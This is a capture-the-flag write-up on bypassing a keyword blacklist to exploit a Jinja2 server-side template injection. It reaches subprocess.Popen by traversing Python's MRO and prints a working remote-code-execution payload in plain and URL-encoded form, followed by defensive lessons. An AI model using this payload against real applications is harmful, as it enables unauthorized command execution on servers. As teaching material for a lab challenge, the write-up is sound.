# Render Me This (One More Time) Welcome to the write-up for **Render Me This (One More Time)**. This is the sequel to the previous SSTI challenge, featuring "improved" security filters. We are once again tasked with exploiting a **Server-Side Template Injection (SSTI)** vulnerability to read the flag, but this time we must bypass a strict blacklist that blocks most standard attack vectors. --- ## 1. Initial Reconnaissance The challenge is identical to the previous one, but with a new description: > "We upgraded our security filters. We realized that letting people import stuff was a bad idea, so we banned all the dangerous keywords." This implies that our previous payload (which used `import`, `os`, and `popen`) will be blocked. ## 2. Source Code Analysis Let's examine the new `app.py` to see the restrictions: ```python BLACKLIST = [ "import", "os", "system", "popen", "flag", "config", "eval", "exec", "request", "url_for", "self", "g", "process", "+", "~", "%", "format", "join", "chr", "ascii" ] ``` This is a **heavy** blacklist. * **No Global Objects:** We cannot use `request`, `url_for`, or `self` to access the global scope (`__globals__`). * **No String Construction:** We cannot use `+` or `join` to bypass keyword filters (e.g., `'o'+'s'` is blocked). * **No Formatting:** We cannot use string formatting tricks. This forces us to find a way to execute code using only the objects already available in the template context (like strings `""` or lists `[]`) and traversing their inheritance hierarchy. ## 3. The Vulnerability: MRO Traversal In Python, every object has a method resolution order (MRO) that defines the class hierarchy. We can use this to our advantage to access powerful classes without needing to import anything. ### Step 1: Accessing the Base Object We start with a simple empty list `[]`. In Python, `[]` is an instance of the `list` class. `{{ [].__class__ }}` --> `` From the `list` class, we can go up one level to its parent class, which is `object`. `{{ [].__class__.__base__ }}` --> `` ### Step 2: Listing All Subclasses The `object` class is the root of all classes in Python. Crucially, it has a method called `__subclasses__()` that returns a list of **every single class** currently loaded in the application. `{{ [].__class__.__base__.__subclasses__() }}` If you inject this payload into the URL (`?name={{[].__class__.__base__.__subclasses__()}}`), the page will display a massive list of classes like: `[, , , ... , ...]` ### Step 3: Finding `subprocess.Popen` We need to find the index of the `subprocess.Popen` class in this list. This class allows us to spawn new processes and execute system commands. You can copy the output from the webpage into a text editor and search for "subprocess.Popen". Alternatively, you can write a small script to find the index locally (if you have the same environment). In this specific challenge environment, `subprocess.Popen` is located at index **361**. (Note: If 361 doesn't work, you might need to try surrounding numbers like 360 or 362, as the index can vary slightly depending on the Python version and installed libraries). ### Step 4: Instantiating Popen Now that we have the class (at index 361), we can instantiate it just like calling a function. We want to execute a shell command. The `Popen` constructor takes a command as a list or string. We also need to set `shell=True` to run shell commands and `stdout=-1` to capture the output. `...[361]('command', shell=True, stdout=-1)` ### Step 5: Bypassing the "flag" Filter We want to run `cat flag.txt`. However, the word "flag" is in the `BLACKLIST`. We can easily bypass this using a shell wildcard: `cat fl*`. The shell will expand `fl*` to `flag.txt` automatically. So our command is: `'cat fl*'` ### Step 6: Reading the Output The `Popen` object creates a process, but it doesn't return the output directly. We need to call the `.communicate()` method on the created process object. This method waits for the command to finish and returns a tuple containing `(stdout, stderr)`. ## 4. The Final Payload Putting it all together, we construct the full injection: 1. Start with a list: `[]` 2. Get the `object` class: `.__class__.__base__` 3. Get all subclasses: `.__subclasses__()` 4. Select `subprocess.Popen`: `[361]` 5. Instantiate with command: `('cat fl*', shell=True, stdout=-1)` 6. Get output: `.communicate()` **Final Payload:** `{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}` **Encoded URL:** `?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}` ## 5. The Solution Submit the encoded URL to the server. The page will render the output of the command, revealing the flag. **Flag:** `{flag:MRO_Trav3rsal_Is_The_Way_To_Go}` --- ## Lessons Learned * **Blacklisting is Futile:** Even with strict filters blocking global objects and string manipulation, the fundamental nature of Python's object model allows for code execution via MRO traversal. * **Sandboxing is Hard:** If you must allow user-submitted code/templates, you need a robust sandbox (like removing `__subclasses__` or using a secure template engine like Jinja2's `SandboxedEnvironment`), not just a word filter. * **Least Privilege:** Ensure the web application runs with minimal permissions so that even if code execution is achieved, the damage is limited.